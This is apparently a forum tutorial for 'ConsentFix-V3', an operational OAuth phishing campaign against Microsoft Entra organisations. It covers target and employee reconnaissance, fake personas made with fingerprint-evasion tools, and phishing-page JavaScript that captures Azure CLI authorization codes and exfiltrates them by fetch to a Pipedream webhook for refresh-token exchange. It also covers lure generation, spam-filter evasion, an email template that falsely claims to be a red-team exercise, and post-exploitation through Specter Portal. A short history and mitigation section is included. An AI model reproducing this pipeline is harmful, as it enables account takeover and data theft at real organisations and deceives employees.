1.1: Select a company/domain and verify its Azure Tenant ID (https://www.whatismytenantid.com/)
Why: Confirms whether the target actually uses Azure infrastructure. If no Tenant ID exists, the attack chain stops here.
1.2: Use ZoomInfo to map employees and choose an individual for impersonation
Name
Job title / Position
Why: A real employee identity makes the phishing email and the fake persona more credible, increasing success rates.
2. Persona infrastructure – Create disposable accounts under a believable identity.
2.1: Set up browser fingerprinting tools for account creation without being blocked
GoLogin (essential, provides residential IP for free)
AdsPower
Why: Prevents detection and blocking by anti‑fraud systems during mass account creation.
2.2: Create essential accounts
Outlook (used to create other accounts, as it is widely accepted by most platforms)
Cloudflare (to host the phishing page)
Tutanota email (used to send the phishing emails due to better inbox delivery rates)
DocSend (to host the fake PDF)
Hunter.io (provides structured CSV data: employee names, job titles, companies, and emails – essential for personalizing each victim's phishing link and PDF via the Python script)
Pipedream (for automation and token exchange)
Why: Each service plays a specific role in the attack chain, from hosting to automation.
4. Post‑exploitation tooling – Install and configure Specter Portal, ready to receive captured refresh tokens.
Why: Specter Portal provides a ready‑to‑use interface to interact with captured tokens and explore compromised accounts.
5. Phishing page deployment
4.1: Host HTML + JS on Cloudflare Pages
Why: Cloudflare Pages offers free, fast hosting with SSL, making the fake page look legitimate.
4.2: Create a Pipedream webhook endpoint to receive the authorization code
Why: Acts as an indirect exfiltration channel for the data collected from the victim.
4.3: How the phishing page works – JavaScript breakdown
Why: Explains the core logic of the page, including how victim data is extracted from the URL, how the profile card is populated (the psychological trigger), how the OAuth popup is opened, and how the authorization code is captured and exfiltrated to Pipedream.
4.4: Set up Pipedream automation to exchange authorization code for refresh token
Why: Automates the critical step of converting the intercepted code into a usable refresh token in real time. This step is extremely important because the authorization code has a very short lifespan.
6. Target email harvesting – Use Hunter.io to collect employee emails from the target domain.
Why: Provides the list of victims who will receive the phishing email. The .csv structure also contains other data that will be used to generate trust and legitimacy for our phishing page.
6.1: Create a working directory containing:
export-.csv files with victim data (from Hunter.io)
template.md (email template with placeholders like [Name], [PDFName], [Passcode], etc.)
link.txt (base URL of the phishing page)
logo. (company logo image)
Why: Organizes all necessary inputs for the automated generation script.
6.2: Run the Python script (create_email_withpdf.py) to generate personalized emails and PDFs
Why: Personalization increases the likelihood that the victim will trust and click the link. Doing this manually would be extremely time‑consuming – trust me on this :)
8. Campaign execution – Send the phishing emails containing the hosted page link.
9. Token capture & handoff – Monitor Pipedream; each incoming refresh token is automatically made available for import into Specter Portal, ready for post‑exploitation.
All code (HTML/JS, Pipedream workflows, Python script) and a step‑by‑step video demonstration are included. The entire infrastructure relies on free tiers – your only investment is time.
⚙️ Prerequisites
An Ubuntu machine (or VM) – all tools and scripts are tested on this platform
Docker (optional) – runs Specter Portal in an isolated container, avoiding dependency conflicts and simplifying setup.
Basic familiarity with the command line, Python, and OAuth2 concepts
Concepts You Need to Know
OAuth 2.0 Authorization Code Grant
This is the OAuth2 flow where a user authorizes an application to access resources on their behalf. After the user grants consent, an authorization code is returned and later exchanged for an access token and a refresh token. In ConsentFix-V3, we abuse this exact mechanism: our phishing page initiates this flow with a legitimate Microsoft application, and the code we capture is the gateway to obtaining persistent access.
First-Party Applications (Microsoft)
First-party applications are those created and trusted by Microsoft, such as Azure CLI, Microsoft Teams, or Visual Studio Code. Unlike third-party apps, they are implicitly trusted in every Azure AD tenant and cannot be deleted or blocked without breaking legitimate developer workflows . This means they are pre‑consented – users can authenticate to them without admin approval, and in many cases, no consent screen is shown at all . This architectural trust is what makes ConsentFix so devastating: by abusing a first-party app like Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46), attackers bypass the controls that would normally flag a malicious OAuth grant .
Refresh Tokens
Refresh tokens are long‑lived credentials that allow an application to obtain new access tokens without further user interaction. They are the crown jewel of this attack because they grant persistent access to the victim's resources emails, files, and internal applications long after the initial consent. Our entire pipeline is designed to capture these tokens and deliver them directly into Specter Portal for post‑exploitation.
Tenant ID (Azure Active Directory)
Every Azure AD organization has a unique identifier called a Tenant ID. In our attack chain, we first verify that the target has one using whatismytenantid.com. This step is essential because if no Tenant ID exists, the organization does not use Azure infrastructure – making the attack impossible. We only proceed with targets that pass this check, saving time and focus. The Tenant ID itself is not used in the phishing page (which relies on the dynamic "organizations" endpoint), but its presence confirms Azure usage.
FOCI (Family of Client IDs)
FOCI is a group of Microsoft applications that share permissions and refresh tokens among themselves. This means that a refresh token obtained for one FOCI application can be used to access resources through another application in the same family . In our attack, this property is critical: after capturing a token for Azure CLI (a FOCI member), we can use it to access sensitive data from Outlook, SharePoint, Teams, or other Microsoft services via Specter Portal .
Azure CLI
Azure CLI is Microsoft's command‑line tool for managing Azure resources. It can authenticate and obtain tokens programmatically, making it useful for automation. In ConsentFix-V3, we leverage this capability indirectly: our Pipedream workflows simulate the token exchange process that the Azure CLI would normally perform, allowing us to convert captured authorization codes into usable refresh tokens automatically.
Pipedream
Pipedream is a serverless integration platform that provides public webhooks and code execution in Node.js or Python. It serves three critical roles in our attack: first, as the webhook endpoint that receives the victim's authorization code; second, as the automation engine that immediately exchanges that code for a refresh token via Microsoft's API; and third, as the central collector that makes captured tokens available to us in real time. Its free tier makes the entire operation cost‑zero.
Consent Phishing (Consent Grant Attack)
Unlike traditional credential phishing, consent phishing tricks the user into granting OAuth2 permissions to a malicious application. However, ConsentFix-V3 operates differently: because we target a first-party app (Azure CLI), no consent screen is presented to the victim . As explained in the Push Security debrief, first-party apps are pre‑consented in every tenant and can be abused without any approval step . In our attack, the victim clicks "Verify with Microsoft" on our Cloudflare-hosted page, which opens a legitimate Microsoft login popup. Since they are already logged in, they are immediately redirected to http://localhost/ with an authorization code in the URL – they never see a permissions prompt . The user then drags that URL into the dropzone (or pastes it), and our page sends the full URL to the Pipedream webhook. This technique bypasses many security measures because no credentials are ever entered or stolen – only the post‑authentication code is exfiltrated, and the user remains unaware that anything malicious occurred.
The Origins of ConsentFix: From ClickFix to OAuth Abuse
The Precursor: Consent Phishing (2020–2024)
Before ConsentFix emerged as a distinct technique, the foundational concept of consent phishing had already been documented by major cloud providers. In July 2020, Microsoft's security team issued a warning about a new attack vector they termed "consent phishing," where attackers register malicious multi‑tenant applications in Azure AD and trick users into granting excessive OAuth permissions through legitimate‑looking consent screens .
These early attacks followed a simple pattern:
Attackers registered applications mimicking popular brands (Adobe, DocuSign)
Victims received emails with links to legitimate Microsoft login pages
Users unknowingly granted permissions like Mail.Read and offline_access
Attackers exchanged the authorization code for long‑lived refresh tokens
As Microsoft noted at the time, "the application gets an authorization code which it redeems for an access token, and potentially a refresh token" – the same core mechanism that would later be refined in ConsentFix .
The ClickFix Revolution (2024–2025)
Throughout 2024, a new social engineering technique called ClickFix gained traction among threat actors. According to Microsoft's threat intelligence, 47% of attacks started with ClickFix during this period .
ClickFix attacks typically involved:
Compromised or malicious websites injected with fake error messages
Instructions for victims to copy and paste PowerShell commands
Execution of malicious code directly on the endpoint
However, as endpoint detection and response (EDR) tools improved, attackers sought ways to move their operations entirely into the browser – where traditional security tools had limited visibility .
The Discovery of ConsentFix (December 2025)
On December 11, 2025, Push Security publicly disclosed a new attack technique they dubbed "ConsentFix" , which they had detected and blocked across multiple customer environments .
Push researchers described ConsentFix as a "browser‑native ClickFix attack that hijacks OAuth consent grants" . The campaign they observed specifically targeted Microsoft accounts by abusing the Azure CLI OAuth application – a first‑party app that is implicitly trusted in all Entra ID tenants .
The Attack Chain Documented by Push Security :
Watering hole via Google Search: Victims were funneled through Google Search to compromised but reputable websites injected with a fake Cloudflare Turnstile challenge.
Conditional loading: The page only proceeded if the victim entered a valid corporate email address from a targeted domain – a sophisticated anti‑analysis technique to evade security researchers.
Legitimate Microsoft login: Clicking "Sign In" opened a genuine Microsoft login page. If the victim was already logged into Microsoft in their browser, no credentials or MFA were required.
localhost redirect: After authentication, the victim was redirected to http://localhost/ with an OAuth authorization code visible in the URL.
Manual exfiltration: The phishing page instructed the victim to copy the URL and paste it into a text box – effectively handing the authorization code to the attacker.
Token exchange: The attacker's server exchanged the code for access and refresh tokens, granting persistent access to the victim's Microsoft account via Azure CLI.
Push Security's analysis highlighted why this technique was so dangerous:
"There's no login required, therefore phishing-resistant authentication controls like passkeys have no impact on this attack. The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix because it doesn't touch the endpoint."
Attribution and APT Connections
Subsequent investigation by threat researchers collaborating with Push Security revealed that the ConsentFix campaign appeared to be linked to Russian state‑affiliated APT29 (also known as Cozy Bear) . Researchers noted similarities with a previously documented campaign identified by Volexity, where victims were social‑engineered via email into manually copying localhost responses back to attackers .
Community Response and Evolution
The security community responded rapidly to Push's disclosure:
John Hammond released an improved version of the ConsentFix technique within days, implementing a drag‑and‑drop interface that made the attack even more seamless for victims .
Researchers from Glueck Kanja identified 11 additional first‑party Microsoft applications vulnerable to ConsentFix, including Microsoft Teams, Visual Studio Code, SharePoint Online Management Shell, and others .
Elastic published detection rules specifically targeting OAuth illicit consent grants .
In January 2026, Push Security published a comprehensive debrief in collaboration with BleepingComputer, consolidating community insights and predictions about the ConsentFix technique. The article, sponsored by Push Security and featured on BleepingComputer, highlighted several critical findings:
Legacy scopes were intentionally leveraged by attackers to evade detection, as many organizations had not enabled logging for AADGraphActivityLogs.
The attack exploited Conditional Access exclusions that many organizations had unknowingly applied to first‑party apps, allowing the abuse of trusted applications like Azure CLI.
Researchers predicted that ConsentFix would quickly be integrated into phishing‑as‑a‑service offerings and expanded beyond Microsoft targets to other cloud ecosystems.
The debrief also noted the rapid evolution of the technique, with community contributions from researchers like John Hammond and Glueck Kanja, who identified additional first‑party apps vulnerable to ConsentFix.
Evolution from Prior OAuth Attacks
It's important to note that ConsentFix represents an evolution, not an entirely new invention. As documented in phishing technique encyclopedias, consent phishing had been used against GitHub, Google Workspace, and Microsoft platforms for years . What made ConsentFix novel was:
The ClickFix‑style social engineering – manually copying and pasting URLs instead of automated redirects
Targeting first‑party apps like Azure CLI that bypass standard security controls
Complete browser‑native execution – no files, no processes, no endpoint telemetry
Sophisticated anti‑analysis layers including IP‑based blocking and conditional page loading
Key References and Further Reading
Original Disclosure (Dec 2025): Push Security: "ConsentFix: Analysing a browser-native ClickFix-style attack"
Push Security Debrief (Jan 2026): "ConsentFix debrief: insights, recommendations & predictions"
Microsoft's Original Consent Phishing Warning (2020): Microsoft warns about consent phishing applications
Elastic Detection Rule: "M365 Identity OAuth Illicit Consent Grant by Rare Client and User"
Phishing Techniques Encyclopedia: Consent Phishing overview
This historical context is essential for understanding why ConsentFix-V3 represents the culmination of several years of evolution in OAuth abuse techniques – from simple consent phishing in 2020, through the ClickFix social engineering approach that emerged in 2024, to the sophisticated browser‑native attacks documented in late 2025.
Building the Attack Chain
OK, without further ado, let's start the attack. The first step is to define the target. We'll begin by using ZoomInfo to gather intel.
1.1: Select a company/domain and verify its Azure Tenant ID
The first step is to choose a target organization and confirm they actually use Azure infrastructure. Without an Azure Tenant ID, the attack chain stops here.
Visit https://www.whatismytenantid.com/ and enter the target domain. If a Tenant ID is returned, the organization uses Azure and we can proceed. If no Tenant ID is found, the target is not valid for this attack.
1.2: Use ZoomInfo to map employees and choose an individual for impersonation
Once we've confirmed the target uses Azure, we need to gather employee information to create a believable persona. Using ZoomInfo (or similar tools), we identify:
Name
Job title / Position
This real employee identity will be used throughout the attack to craft believable phishing emails, set up our fake accounts, and add credibility to every interaction with the target. A legitimate-looking persona significantly increases the success rate of the attack.
2.1 Set up browser fingerprinting tools
GoLogin
image_4_gologin.png
AdsPower
You must define the platform: be careful not to use Linux or Windows as these usually cause problems! Prefer MacOS and Android instead.
We use a temporary account to register on GoLogin, grab the free residential proxy credentials (host, port, user, pass), and plug them into AdsPower profiles. In our experience, proxies from Canada and Australia seem to trigger fewer fraud alerts – we can't explain why, it's just something we noticed. This combo (GoLogin's proxies + AdsPower's profiles) consistently gives us fewer blocks and verification requests than using either tool alone. No idea why it works better, but empirically it does.
2.2 Create essential accounts
If you look at the screenshot above, you'll see exactly what this phase looks like in practice: a browser window with multiple tabs, each one logged into a different service. This is the messy but necessary part of building a believable persona.
Outlook
Cloudflare
Tutanota email
DocSend
Hunter.io
Pipedream
OK, as you can see, we have successfully created all the accounts needed to conduct the attack.
However, it's important to note that even with all the precautions we took, some platforms may still cause unexpected issues. For example, Outlook occasionally presents a "Verify you're human" challenge that simply doesn't work. I cannot explain exactly why this happens, but sometimes the verification process fails entirely. A high-quality private residential proxy would likely prevent this from occurring.
Another problem we encountered was with Hunter.io, which randomly requests phone number verification. Again, I cannot explain why this happens, but it appears to be related to IP reputation. A private residential proxy would most likely eliminate both of these issues.
Specter Portal is the engine that will consume the captured access tokens and refresh tokens, giving you hands‑on access to compromised Azure environments. It provides a clean web interface to explore mail, files, users, roles, and virtually any Microsoft 365 resource the token has permissions for.
The tool was originally developed by specter and is available on GitHub: https://github.com/specter/specter-portal
To make setup as painless as possible, we've organized Specter Portal to run with Docker. This assumes you're running a Linux machine (or VM) with Docker and Docker Compose already installed. If you prefer to run the original version without Docker, follow the instructions on the official GitHub repository – the choice is yours.
The complete Specter Portal source is included in the source.zip archive that accompanies this article. Extract it and navigate to the SpecterPortal directory:
Bash:
unzip source.zip -d ConsentFix-V3
cd ConsentFix-V3/Tools/SpecterPortal
Inside you'll find a docker-compose.yml file (shown below). Simply run:
Bash:
docker compose up -d
This will start the backend API on port 5000 and the frontend on port 5173. The first run may take a minute while images are pulled.
Once the containers are running, open your browser to http://localhost:5173/. To log in, you'll need an access token – this token is generated automatically by the backend and printed in its logs. Retrieve it with:
Bash:
docker logs specterportal-backend
Look for a line containing something like Your API token is: .... Copy that token and paste it into the login screen.
With Specter Portal up, it will wait silently for tokens. Later, when our campaign captures them, we'll import them here and start exploring compromised tenants (if the campaign yields any results, of course).
Now we build the trap. Our phishing page needs to: look legitimate, capture the authorization code after the victim authenticates, and immediately send it to our Pipedream endpoint. Since the authorization code expires within minutes, Pipedream automates the exchange process - converting the code into a persistent refresh token that we can import into Specter.
4.1 Host HTML + JS on Cloudflare Pages
Important: Before deploying to Cloudflare Pages, you must first configure the JavaScript file with your Pipedream webhook URL (which we'll create in section 4.2). The HTML and JavaScript files are included in the source.zip archive, located inside PhishingPage.zip. Extract these files, update the webhook URL constant in the JavaScript, and then re-compress the folder back into a .zip file before uploading to Cloudflare Pages, as Cloudflare expects a .zip archive containing all the page files.
Cloudflare Pages is our choice because it's free, provides automatic SSL, and serves pages fast – all of which make the fake page look more credible. Deploying is straightforward:
Go to Cloudflare Pages and create a new project.
Upload the configured HTML and JavaScript files directly (or connect your Git repository).
Deploy. You'll get a .workers.dev URL. You can also use a custom domain.
Once deployed, test the page by opening it in a browser. You should see the Azure-themed interface with the "Verify with Microsoft" button and the dropzone.
Important: Don't forget to place the base URL of your deployed phishing page inside link.txt within your target folder, alongside the other dependencies (CSV files, template.md, and logo). The Python script reads this file to generate the personalized phishing links for each victim.
4.2 Create a Pipedream webhook endpoint
The page needs somewhere to send the captured URL. Pipedream gives us a public HTTP endpoint that we can use as an exfiltration channel – no servers to manage, and it's free for moderate usage.
Log in to Pipedream and create a new HTTP workflow.
Use the "HTTP / Webhook" trigger. Copy the generated URL – this is your webhook.
In the HTML page source (the files inside PhishingPage.zip within source.zip), replace the WEBHOOK_URL constant with your Pipedream URL.
Now, add a Python step to automatically exchange the captured authorization code for a refresh token.
After the HTTP trigger, click the "+" button to add a new step, select "Python" as the language, and paste the following code:
Test the workflow – After you complete step 6 (email/PDF generation), you'll have a test_link.txt file. Use that link to visit your phishing page and complete the flow. The authorization code will be sent to Pipedream, and this Python step will automatically exchange it for a refresh token. You can verify the output in the step's logs.
Now, whenever a victim drags the localhost URL into the dropzone (or pastes it), the full URL is sent to Pipedream, and the refresh token is obtained in real time – ready for import into Specter.
4.3 How the phishing page works: JavaScript breakdown
The page's JavaScript is what makes the attack seamless. Below we break down its critical parts, highlighting the psychological mechanisms that make it so effective.
Configuration constants
At the top, we define all parameters for the OAuth flow and exfiltration.
JavaScript:Скопировать в буфер обмена
const WEBHOOK_URL = "https://your-pipedream-webhook-url";
const CAMPAIGN_NAME = "consentfix-V3";
const CLIENT_ID = '04b07795-8ddb-461a-bbee-02f9e1bf7b46'; // Azure CLI client ID
const REDIRECT_URI = 'http://localhost/';
const SCOPE = 'openid profile offline_access https://graph.windows.net/.default';
const AUTHORITY = 'https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize';
const FINAL_REDIRECT = 'https://outlook.live.com/';
These constants control:
Webhook URL: where the captured code is sent.
Client ID: we use the Azure CLI app (a trusted first‑party app) to avoid additional consent prompts.
Redirect URI: must match the one registered for the app – here it's http://localhost, which the victim will see after authentication.
Scope: includes offline_access to obtain a refresh token.
Final redirect: after exfiltration, the victim is sent to a harmless page (Outlook) to avoid suspicion.
Extracting victim data from the URL
The page expects a URL parameter containing a base64‑encoded JSON payload with the victim's details (generated by the Python script covered later). This eliminates manual email entry and sets up the psychological hook.
JavaScript:
const params = { email: '', first_name: '', last_name: '', domain: '', job_title: '', company: '', social_media: '' };
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.size > 0) {
const firstValue = urlParams.values().next().value;
try {
const decoded = atob(firstValue);
const json = JSON.parse(decoded);
params.email = json.email || '';
params.first_name = json.first_name || '';
params.last_name = json.last_name || '';
params.domain = json.domain || '';
params.job_title = json.job_title || '';
params.company = json.company || '';
params.social_media = json.social_media || '';
} catch (e) {
console.log('Failed to decode parameter, falling back to empty');
}
}
Rendering the profile card (the psychological trigger)
The decoded data populates a profile card the victim sees immediately. This shifts the attack from technical to psychological.
JavaScript:
function renderProfile() {
const fullName = params.first_name || params.last_name ?
${params.first_name || ''} ${params.last_name || ''}.trim() : '';const items = [
{ label: 'Email', value: params.email || '—', icon: 'icons/10836-icon-service-Azure-Service-Bus.svg' },
{ label: 'Name', value: fullName || '—', icon: 'icons/10230-icon-service-Users.svg' },
{ label: 'Domain', value: params.domain || '—', icon: 'icons/10846-icon-service-Web-Jobs.svg' },
{ label: 'Job Title', value: params.job_title || '—', icon: 'icons/10844-icon-service-Toolbox.svg' },
{ label: 'Company', value: params.company || '—', icon: 'icons/10225-icon-service-Enterprise-Applications.svg' },
{ label: 'Social', value: params.social_media || '—', icon: 'icons/03755-icon-service-Planetary-Computer-Pro.svg' }
];
let html = '';
items.forEach(item => {
html +=
<div class="profile-item"> <div class="profile-label"><img src="${item.icon}" alt=""> ${item.label}</div> <div class="profile-value ${!item.value || item.value === '—' ? 'empty' : ''}">${item.value}</div> </div>;});
profileGrid.innerHTML = html;
}
Why this matters: When victims see their own name, email, company, and job title on what looks like an official Azure page, their guard drops. The message is implicit: "This page already knows me – it must be legit." A generic phishing page becomes a personalized trap that feels like an internal corporate tool.
Opening the Microsoft login popup
When the victim clicks "Verify with Microsoft", we open a popup with the legitimate OAuth2 URL. The login_hint pre‑fills their email – another layer of convenience that builds trust.
Capturing the authorization code
After authentication, Microsoft redirects to http://localhost/ with the code in the URL. The victim can copy‑paste or drag the URL into the dropzone. We chose drag‑and‑drop – it's faster and feels more seamless. The dropzone handles both.
JavaScript:
dropzone.addEventListener('drop', (e) => {
e.preventDefault();
dropzone.classList.remove('dragover');
const dragData = e.dataTransfer.getData('text/plain') ||
e.dataTransfer.getData('text/uri-list') ||
e.dataTransfer.getData('text') ||
e.dataTransfer.getData('URL');
if (dragData) {
processData(dragData);
} else {
showStatus('No data received from drag.', 'error');
}
});
document.addEventListener('paste', (e) => {
const pasted = e.clipboardData.getData('text');
if (pasted && pasted.includes('code=')) {
processData(pasted);
e.preventDefault();
}
});
Processing and exfiltrating the URL
The processData function validates the data and sends it to the webhook.
JavaScript:Скопировать в буфер обмена
function processData(raw) {
if (params.email) {
sendFullUrlToWebhook(raw, params.email);
dropzone.classList.add('success');
showStatus('Verification completed successfully', 'success');
} else {
dropzone.classList.add('error');
showStatus('Email missing, cannot verify', 'error');
setTimeout(() => dropzone.classList.remove('error'), 2800);
}
}
Exfiltrating to Pipedream
During testing, we hit a problem: the phishing page and Pipedream webhook are on different domains, and browsers block cross-origin requests by default (CORS). If we didn't fix this, the data would never reach us.
Our solution was using no-cors mode in the fetch request. It bypasses the CORS block – the browser can't read the response, but we don't need one. We just need the webhook to receive the data.
JavaScript:
async function sendFullUrlToWebhook(fullUrl, email) {
if (codeSent) return; // Prevent multiple submissions
codeSent = true;
try {
const payload = {
campaign: CAMPAIGN_NAME,
email: email,
full_url: fullUrl,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent,
url: window.location.href,
domain: window.location.hostname,
page: "Microsoft Entra ConsentFix"
};
await fetch(WEBHOOK_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
mode: "no-cors", // Bypasses CORS
body: JSON.stringify(payload)
});
// After sending, redirect the victim to a harmless page
setTimeout(() => {
window.location.href = FINAL_REDIRECT;
}, 500);
} catch (error) {
codeSent = false;
setTimeout(() => {
window.location.href = FINAL_REDIRECT;
}, 500);
}
}
The payload includes the full URL (with the authorization code), victim's email, campaign name, timestamp, and user agent – everything needed for tracking.
After sending, we redirect the victim to Outlook in half a second. Success or fail, they leave with no suspicion.
With the phishing infrastructure ready, we need actual targets. Hunter.io is the tool for this job. Enter the target domain, and it returns a structured list of employees with their names, job titles, and email addresses.
Export the results as a CSV file. This file will be the foundation for the next phase: personalized emails and PDFs. The more complete the data, the more convincing our attack becomes.
The CSV should contain at minimum:
First name
Last name
Email address
Job title (optional but useful)
Company name (optional but useful)
Save it as export-*.csv in a dedicated working directory – we'll use it in the next step.
6.1 Create a working directory containing:
export-.csv files with victim data (from Hunter.io)
template.md (email template with placeholders like [Name], [FName],[PDFName], [Passcode], etc.)
link.txt (base URL of the phishing page)
logo. (company logo image)
├── export-xss.com.csv
├── link.txt
├── logo.jpg
└── template.md
6.2 Run the Python script (create_email_withpdf.py)
The script automates the creation of personalized phishing emails and PDFs. Below are the core logical blocks as implemented in the actual code.
[+]. Unique phishing URL with embedded victim data
Earlier ConsentFix implementations required the victim to manually enter their corporate email address on the phishing page – an extra step that introduced friction and could raise suspicion. With our method, we eliminate that step entirely. Each victim receives a unique URL containing a base64‑encoded JSON payload with their personal data (name, email, company, job title, etc.). When they land on the page, the JavaScript automatically decodes this payload and populates the profile card. The victim never has to type anything, and because the page already "knows" their details, it feels more legitimate and trustworthy. The random parameter name also helps evade simple URL pattern detection.
[+]. PDF generation with company branding and clickable link
During our tests, emails containing direct links to .workers.dev pages frequently landed in spam – even with careful wording and personalization. Our bypass was simple: instead of placing the link directly in the email, we generate a PDF that looks like an official company document (logo at the top, Azure‑blue clickable link) and host it on DocSend.
DocSend is a legitimate document‑sharing platform widely used by businesses. Because the email contains only a link to DocSend (a trusted domain), spam filters are far less likely to flag it. The actual phishing link is hidden inside the PDF.
We also password‑protect each DocSend sharing link (not the PDF file itself) using a dynamically generated passcode based on the victim's personal data, such as Company_Name_1234. This is a personal choice – the technique works without it – but in our tests, adding the passcode served two purposes:
It adds credibility. The passcode contains fragments of the victim's own company and name. Psychologically, this lowers their guard: "This document has my company and my name – it must be legitimate internal communication."
It forces engagement. The victim must enter the passcode to view the PDF, increasing the time they spend interacting with the document and the likelihood they'll click the link inside.
Empirically, this approach significantly reduced bounce rates and increased click‑through rates compared to sending raw links. We don't have a theoretical explanation – it simply worked better in practice.
Run the script with:
Bash:
python create_email_withpdf.py /path/to/your/working/directory
Once the script finishes, you'll have a complete set of personalized emails and PDFs ready to send. The test link lets you verify the entire pipeline works before targeting real victims.
Important: In the Python script (create_email_withpdf.py), don't forget to replace the TEST_EMAIL = "test@example.com" constant with the actual Outlook email you created for your persona. This email serves two critical purposes: first, it's automatically included alongside every 10th victim email in the output folders, allowing you to send a test email to yourself every 10 victims so you can verify exactly where your emails are landing — inbox, trash, junk, spam, etc. — throughout the campaign; second, it's used to generate a test link (saved as test_link.txt) that we'll use to validate the entire attack chain works before launching the real campaign.
8. Campaign execution – Send the phishing emails containing the hosted page link
With all emails and PDFs generated and organized in numbered folders inside emails_result/, it's time to launch the campaign.
Each victim folder contains:
email.txt – the personalized email body (without the link – remember, the link is inside the PDF)
The personalized PDF (e.g., ExampleCompany-Domain-Verification-2026-John-Doe.pdf)
We'll use this email template (template.md) to craft the messages:
Subject: [Name] - Azure domain verification | 48 hours left
Hi [FName],
We're reorganizing the Azure structure for our domain, and unverified accounts will be deactivated soon.
The verification process is simple and takes less than 10 seconds. The verification link is in the attached PDF.
[PDFNAME]
Password: [PASSCODE]
This email is an internal Red Team exercise – the process is safe to interact with.
Best Regards,
Michael Wells
General Manager, IT
Now let's be honest: even with all the personalization, an email from a stranger will always raise suspicion. The victim will look at it and think: "Why did I receive this? Is this legitimate?" So we play dirty — we actually reinforce that suspicion, but simultaneously guide them into our context. By explicitly stating that this is an "internal Red Team exercise," we validate their distrust. The victim thinks: "I was right to be suspicious, but since it's an authorized and safe exercise, I can interact without fear." We transform the barrier of suspicion into a bridge of trust, making them feel comfortable clicking and following the process.
Delivering the PDFs via DocSend
You'll upload each personalized PDF to DocSend. For each file, set the shareable link to require the victim's unique passcode (for example, ExampleCompany_john_1234). Then paste that DocSend link into the email.txt body before sending. This ensures that only the intended recipient can access the PDF, adding another layer of legitimacy.
Sending the Emails
Use the Tutanota account you created earlier – it consistently delivers to inboxes (not spam) with minimal friction. Do not use the Outlook account for sending; it's only for creating other accounts.
As you send each email, monitor your Pipedream workflow. When victims open the PDF, enter the passcode, and click the "Domain Verification Link", they'll be taken to your phishing page. After the drag‑and‑drop step, the authorization code will arrive in Pipedream and be automatically exchanged for a refresh token, ready for import into Specter.
9. Token capture & handoff – Monitor Pipedream;
With the campaign launched, the waiting game begins. Phishing has a notoriously low conversion rate, so don't expect immediate results – you'll likely send hundreds of emails before securing your first access. Be persistent.
Monitor your Pipedream dashboard closely. When a victim completes the flow, the captured authorization code is automatically exchanged for a refresh token, and the result appears in your workflow logs. Each successful token is accompanied by the victim's email and campaign details.
As you can see below, after completing the authentication flow on our page, we receive the authorization code, and then our Python code exchanges that authorization code for a refresh token.
As you can see, we were able to import our access code; we can also import the refresh token (this is recommended). However, as will be explained below, our actions are limited because a non-corporate (work or school) account was used for testing. But our token is valid and was imported and recognized, which shows that the entire process worked.
image_16_specter.png
Throughout this article, we used a free personal Outlook account for testing. These accounts are not Azure AD tenants – they lack the underlying infrastructure that makes the attack work in the real world.
In a real corporate environment, Microsoft Entra ID serves as the identity backbone through federation protocols (SAML, OIDC, WS-Fed) . Any application configured to trust Entra ID – whether SaaS apps (SuccessFactors, Salesforce, Workday) , VPN appliances (Cisco AnyConnect, Palo Alto GlobalProtect, FortiGate) , or VDI solutions – inherits the authentication decisions from Entra ID. This means a captured refresh token isn't just an email key – it's a session equivalent that can request access to any federated application the victim has permissions for .
Here's why our personal test accounts couldn't demonstrate this:
No Azure access: Personal Microsoft accounts cannot authenticate with the Azure CLI or access Azure resources. The tokens we captured in our tests are valid, but they have no permissions – they're like a key to an empty room.
FOCI only works in corporate tenants: The Family of Client IDs (FOCI) feature – which allows a token obtained for one Microsoft app (like Azure CLI) to be used across other Microsoft apps (Outlook, SharePoint, Teams) – is only available in Azure AD corporate tenants. Personal accounts exist in a separate authentication boundary and cannot leverage this cross‑app token sharing.
In a real attack against a corporate target, the refresh token you capture would grant access to email, files, Teams messages, SharePoint sites, and any federated applications – whatever permissions were requested during the consent phase. You would import it into Specter Portal and immediately begin post‑exploitation.
For our demonstration, we stop here – the pipeline works, the token is captured, and the infrastructure is proven. The next step belongs to a real engagement.
Final thoughts: The future of ConsentFix
Now that you've seen the entire attack chain – from target selection to token capture – you might be wondering: how long will this technique remain viable?
Based on community analysis and Microsoft's response, here's our prediction:
ConsentFix is here to stay – but it will get harder.
Why it will continue working
The attack's longevity comes from fundamental design choices in Microsoft's ecosystem:
First‑party apps are permanently trusted: Applications like Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46) are pre‑consented in every tenant and cannot be blocked without breaking legitimate developer workflows. This trust relationship is architectural, not a bug that can be patched away.
FOCI is a feature, not a flaw: The Family of Client IDs enables seamless SSO across Microsoft apps – a convenience Microsoft is unlikely to remove. As long as FOCI exists, a single compromised refresh token grants access to the entire family.
Browsers remain the battleground: Since the attack happens entirely in the browser context, endpoint defenses (EDR, antivirus) have zero visibility. This "browser‑native" aspect isn't going away.
The counter‑movement: Detection, not prevention
Security teams are shifting from "stop the attack" to "catch the abuse":
Token Protection in Conditional Access: Microsoft now allows binding access tokens to specific devices, making stolen codes harder to redeem from attacker infrastructure. This is the most promising mitigation – but it requires Entra ID Premium licenses and careful rollout.
Logging improvements: The deprecated AADGraphActivityLogs must now be explicitly enabled for detection. Organizations that fail to do so will remain blind.
Behavioral monitoring: Rules like Elastic's detection query look for the same user authenticating from two geographically distant IPs with the same session ID – the telltale sign of ConsentFix.
App restrictions: Security teams can create Service Principals for vulnerable apps and restrict which users can authenticate to them. This reduces the attack surface without breaking functionality for everyone.
What this means for ConsentFix
ConsentFix is an initial access vector. Its job is to get you in the door – to capture that first refresh token. Once you have it, you move to post‑exploitation (using tools like Specter Portal). The two phases are separate, but the attack chain we built connects them.
As defenses improve, mass‑scale spray‑and‑pray campaigns will become less effective. But for targeted spear‑phishing operations – where the attacker researches the victim, crafts personalized lures, and goes after high‑value targets – ConsentFix will remain devastating. It bypasses credentials, evades MFA, and exploits the very features that make Microsoft's ecosystem convenient.
Beta Was this translation helpful? Give feedback.
All reactions